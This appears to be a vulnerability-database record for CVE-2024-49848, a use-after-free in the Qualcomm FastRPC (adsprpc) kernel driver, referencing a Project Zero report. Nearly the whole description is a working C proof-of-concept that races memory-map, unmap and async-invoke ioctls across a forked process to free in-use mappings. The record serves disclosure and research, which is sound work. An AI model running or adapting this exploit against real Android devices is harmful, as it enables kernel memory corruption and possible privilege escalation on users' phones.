{"uuid": "23fd524b-475e-4b9f-8dc2-7b67f4cec409", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "title": "FASTRPC_ATTR_KEEP_MAP logic bug allows fastrpc_internal_munmap_fd to concurrently free in-use mappings leading to UAF", "description": "Ref: [https://project-zero.issues.chromium.org/issues/42451725](https://project-zero.issues.chromium.org/issues/42451725)\n\n~~~\n#include \"adsprpc_shared.h\"\n#include <fcntl.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/wait.h>\n#include <linux/dma-heap.h>\n#include <sys/mman.h>\n#include <errno.h>\n#include <pthread.h>\n#include <signal.h>\n\n#define FASTRPC_MODE_UNSIGNED_MODULE 8\n#define FASTRPC_STATIC_HANDLE_PROCESS_GROUP (1)\n#define FASTRPC_STATIC_HANDLE_DSP_UTILITIES (2)\n#define FASTRPC_STATIC_HANDLE_LISTENER (3)\n#define FASTRPC_STATIC_HANDLE_CURRENT_PROCESS (4)\nint dma_heap;\nint adsprpc_fd;\nint create_and_init_adsprpc()\n{\n    int adsprpc_fd = open(\"/dev/adsprpc-smd\",O_RDONLY);\n    if(adsprpc_fd == -1) {\n        printf(\"open: %m\\n\");\n        return -1;\n    }\n    unsigned cid = 3;\n    long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_GETINFO,&cid);\n    int shell_fd = open(\"/data/local/tmp/fastrpc_shell_unsigned_3\",O_RDONLY);\n    if(shell_fd == -1) {\n        printf(\"open shell: %m\\n\");\n        return -1;\n    }\n    dma_heap = open(\"/dev/dma_heap/system\",O_RDONLY);\n    if(dma_heap == -1) {\n        printf(\"open dma_heap: %m\\n\");\n        return -1;\n    }\n    struct dma_heap_allocation_data heap_data = {\n        .len = 0x131000,\n        .fd_flags = O_RDWR,\n    };\n    ret = ioctl(dma_heap,DMA_HEAP_IOCTL_ALLOC,&heap_data);\n    if( ret < 0 || heap_data.fd < 0)\n    {\n        printf(\"dma heap allocation fail: %d %d %m\\n\",ret,heap_data.fd);\n        return -1;\n    }\n    void* shell_file_dma = mmap(NULL,0x131000,PROT_READ | PROT_WRITE, MAP_SHARED,heap_data.fd,0);\n    long length = read(shell_fd,shell_file_dma,0x131000);\n    if(length <= 0) {\n        printf(\"read: %d %m\\n\",ret);\n        return -1;\n    }\n    close(shell_fd);\n    struct fastrpc_ioctl_init_attrs init = {\n        .init = {\n            .file = shell_file_dma,\n            .filefd = heap_data.fd,\n            .filelen = length,\n            .mem = 0,\n            .flags = FASTRPC_INIT_CREATE,\n        },\n        .attrs = FASTRPC_MODE_UNSIGNED_MODULE\n    };\n    ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INIT_ATTRS,&init);\n    if(ret < 0)\n    {\n        printf(\"init_attrs: %d %m\\n\",ret);\n        return -1;\n    }\n    return adsprpc_fd;\n}\npthread_barrier_t* barrier;\npthread_t tid_inv,tid_int;\nunsigned long* value_loc;\nstruct dma_heap_allocation_data heap_data = {\n    .len = 0x10000,\n    .fd_flags = O_RDWR,\n};\nvoid handler(int signo, siginfo_t *info, void* context) {\n    return;\n}\nsig_atomic_t jobid = 0;\nlong submit_job() {\n    unsigned value = 255;\n    unsigned out_values[256] = {0};\n    struct fastrpc_ioctl_invoke_async ioctl_arg;\n    remote_arg_t ra[2];\n    ra[0].buf.pv = (void *)&value;\n    ra[0].buf.len = sizeof(value);\n    ra[1].buf.pv = (void *)(&out_values[1]);\n    ra[1].buf.len = value * sizeof(uint32_t);\n    ioctl_arg.inv.handle = FASTRPC_STATIC_HANDLE_CURRENT_PROCESS;\n    ioctl_arg.inv.sc = REMOTE_SCALARS_MAKE(0, 1, 1);\n    ioctl_arg.inv.pra = ra;\n    ioctl_arg.fds = NULL;\n    ioctl_arg.attrs = NULL;\n    ioctl_arg.crc = NULL;\n    ioctl_arg.perf_kernel = NULL;\n    ioctl_arg.perf_dsp = NULL;\n    ioctl_arg.job = NULL;\n    ioctl_arg.job = malloc(sizeof(*ioctl_arg.job));\n    ioctl_arg.job->isasyncjob = 1;\n    ioctl_arg.job->jobid = jobid++;\n    struct fastrpc_ioctl_invoke2 inv;\n    inv.invparam = &ioctl_arg;\n    inv.req = FASTRPC_INVOKE2_ASYNC;\n    inv.size = sizeof(struct fastrpc_ioctl_invoke_async);\n\n    long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INVOKE2,&inv);\n    printf(\"submit job ret: %lx %m\\n\",ret);\n    return ret;\n}\nvoid* thread_inv(void* arg) {\n    while(1) {\n    //Need to replace value with & new map on other thread\n        unsigned value = 255;\n        unsigned out_values[256] = {0};\n        long ret;\n        //Not using submit_job() to increase race precision\n        struct fastrpc_ioctl_invoke_async ioctl_arg;\n        remote_arg_t ra[2];\n        ra[0].buf.pv = (void *)0;\n        ra[0].buf.len = sizeof(value);\n        ra[1].buf.pv = (void *)(&out_values[1]);\n        ra[1].buf.len = value * sizeof(uint32_t);\n        ioctl_arg.inv.handle = FASTRPC_STATIC_HANDLE_CURRENT_PROCESS;\n        ioctl_arg.inv.sc = REMOTE_SCALARS_MAKE(0, 1, 1);\n        ioctl_arg.inv.pra = ra;\n        ioctl_arg.fds = calloc(REMOTE_SCALARS_LENGTH(ioctl_arg.inv.sc),sizeof(int));\n        ioctl_arg.fds[0] = heap_data.fd;\n        ioctl_arg.fds[1] = -1;\n        ioctl_arg.attrs = NULL;\n        ioctl_arg.crc = NULL;\n        ioctl_arg.perf_kernel = NULL;\n        ioctl_arg.perf_dsp = NULL;\n        ioctl_arg.job = malloc(sizeof(*ioctl_arg.job));\n        ioctl_arg.job->isasyncjob = 1;\n        ioctl_arg.job->jobid = jobid++;\n        struct fastrpc_ioctl_invoke2 inv;\n        inv.invparam = &ioctl_arg;\n        inv.req = FASTRPC_INVOKE2_ASYNC;\n        inv.size = sizeof(struct fastrpc_ioctl_invoke_async);\n        close(heap_data.fd);\n        pthread_barrier_wait(barrier);\n        ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INVOKE2,&inv);\n        printf(\"job submit: %ld %m\\n\",ret);\n        fflush(stdout);\n        if(!ret) {\n            *((unsigned*) &barrier[1]) = 1;\n            pthread_barrier_wait(barrier);\n            exit(0);\n        }\n        pthread_barrier_wait(barrier);\n\n    }\n\n    \n    return NULL;\n}\n\nint main() {\n    adsprpc_fd = create_and_init_adsprpc();\n    if(adsprpc_fd == -1) {\n        printf(\"failed to open adsprpc...\\n\");\n        return 1;\n    }\n    barrier = mmap(NULL,0x1000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS,0,0);\n    pthread_barrierattr_t attr;\n    pthread_barrierattr_init(&attr);\n    pthread_barrierattr_setpshared(&attr,PTHREAD_PROCESS_SHARED);\n    pthread_barrier_init(barrier,&attr,2);\n    //pthread_create(&tid_int,NULL,&thread_interrupt,NULL);\n\n    int ret = ioctl(dma_heap,DMA_HEAP_IOCTL_ALLOC,&heap_data);\n    if( ret < 0 || heap_data.fd < 0)\n    {\n        printf(\"dma heap allocation fail: %d %d %m\\n\",ret,heap_data.fd);\n        return -1;\n    }\n\n    // for(unsigned i = 0; i < 1022; i++) {\n    //     if(submit_job() < 0) {\n    //         printf(\"failed to submit a job at i = %u\\n\",i);\n    //         exit(0);\n    //     }\n    // }\n    printf(\"mapping...\\n\");\n    fflush(stdout);\n    value_loc = mmap(NULL,0x2000,PROT_READ | PROT_WRITE,MAP_PRIVATE,heap_data.fd,0);\n    pid_t pid;\n    if(!(pid = fork())) {\n        thread_inv(NULL);\n        exit(0);\n    }\n    // pthread_create(&tid_inv,NULL,&thread_inv,NULL);\n\n    unsigned long spoof_map = 0x2000;\n    uint64_t vaddrouts[1024];\n    unsigned top = 0;\n    do {\n        struct fastrpc_ioctl_mem_map mmap_struct = {\n                .m = {\n                    .flags = 0,\n                    .fd = heap_data.fd,\n                    .length = 0x2000,\n                    .attrs = 0,\n                    .vaddrin = spoof_map,\n                    .vaddrout = 0,\n                    .offset = 0,\n                }\n        };\n        spoof_map += 0x2000;\n        unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);\n        printf(\"mem_map loop: %lx 0x%lx\\n\",ioret,mmap_struct.m.vaddrout);\n        vaddrouts[top] = mmap_struct.m.vaddrout;\n    } while (vaddrouts[top++]);\n    // struct fastrpc_ioctl_mem_map mmap_struct = {\n    //         .m = {\n    //             .flags = 0,\n    //             .fd = heap_data.fd,\n    //             .length = 0x1000,\n    //             .attrs = 0,\n    //             .vaddrin = value_loc,\n    //             .offset = 0,\n    //         }\n    // };\n    //     //pthread_barrier_wait(&barrier);\n    // unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);\n    // printf(\"mem_map1: %lx 0x%lx\\n\",ioret,mmap_struct.m.vaddrout);\n    // struct fastrpc_ioctl_mem_unmap unmap_struct = {\n    //     .um = {\n    //         .fd = heap_data.fd,\n    //         .length = 0x1000,\n    //         .vaddr = mmap_struct.m.vaddrout\n    //     }\n    // };\n    // ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_UNMAP,&unmap_struct);\n    // printf(\"mem_unmap1: %lx\\n\",ioret);\n    unsigned first = true;\n    while(1) {\n        struct fastrpc_ioctl_mem_map mmap_struct = {\n            .m = {\n                .flags = FASTRPC_MAP_FD_NOMAP,\n                .fd = heap_data.fd,\n                .length = 0x1000,\n                .attrs = FASTRPC_ATTR_KEEP_MAP,\n                .vaddrin = value_loc,\n                .offset = -1,\n            }\n        };\n        pthread_barrier_wait(barrier);\n        unsigned long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);\n        printf(\"mem_map2: %lx\\n\",ret);\n        fflush(stdout);\n        struct fastrpc_ioctl_munmap_fd final_munmap = {\n            .fd = heap_data.fd,\n            .flags = 0,\n            .len = 0x1000,\n            .va = 0\n        };\n        unsigned long final_ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MUNMAP_FD,&final_munmap);\n        printf(\"munmap fd: %lx %m\\n\",final_ret);\n        pthread_barrier_wait(barrier);\n        if(*(unsigned*)&barrier[1]) {\n            break;\n        }\n        if(first && fgetc(stdin) == 'n') {\n            kill(pid,SIGKILL);\n            exit(0);\n        }\n        first = false;\n    }\n    // pthread_join(tid_int,NULL);\n    // pthread_join(tid_inv,NULL);\n    \n\n    // for(unsigned i = 0; i < top; i++)\n    // {\n    //     struct fastrpc_ioctl_mem_unmap unmap_struct = {\n    //         .um = {\n    //             .fd = heap_data.fd,\n    //             .length = 0x2000,\n    //             .vaddr = vaddrouts[i],\n    //         }\n    //     };\n    //     unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_UNMAP,&unmap_struct);\n    //     if(ioret)\n    //         printf(\"unexpected unmap fail %lx %m\\n\",ioret);\n    // }\n    // while(1) sleep(1);\n    return 0;\n    // struct fastrpc_ioctl_mmap mmap_struct2 = {\n    //     .fd = -1,\n    //     .flags = ADSP_MMAP_HEAP_ADDR,\n    //     .vaddrin = 0,\n    //     .size = 0x1000\n    // };\n    // ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MMAP,&mmap_struct2);\n    // if(ret < 0)\n    // {\n    //     printf(\"ret mmap: %lx %m\\n\",ret);\n    // }\n    // printf(\"vaddrout: %lx %m\\n\",mmap_struct2.vaddrout);\n\n}\n~~~", "description_format": "markdown", "vulnerability": "CVE-2024-49848", "creation_timestamp": "2024-12-18T13:24:38.041835+00:00", "timestamp": "2024-12-18T13:25:07.723264+00:00", "related_vulnerabilities": [], "meta": [{"tags": ["vulnerability:exploitability=documented", "vulnerability:information=PoC", "vulnerability:information=annotation"]}], "author": {"login": "adulau", "name": "Alexandre Dulaunoy", "uuid": "c933734a-9be8-4142-889e-26e95c752803"}}
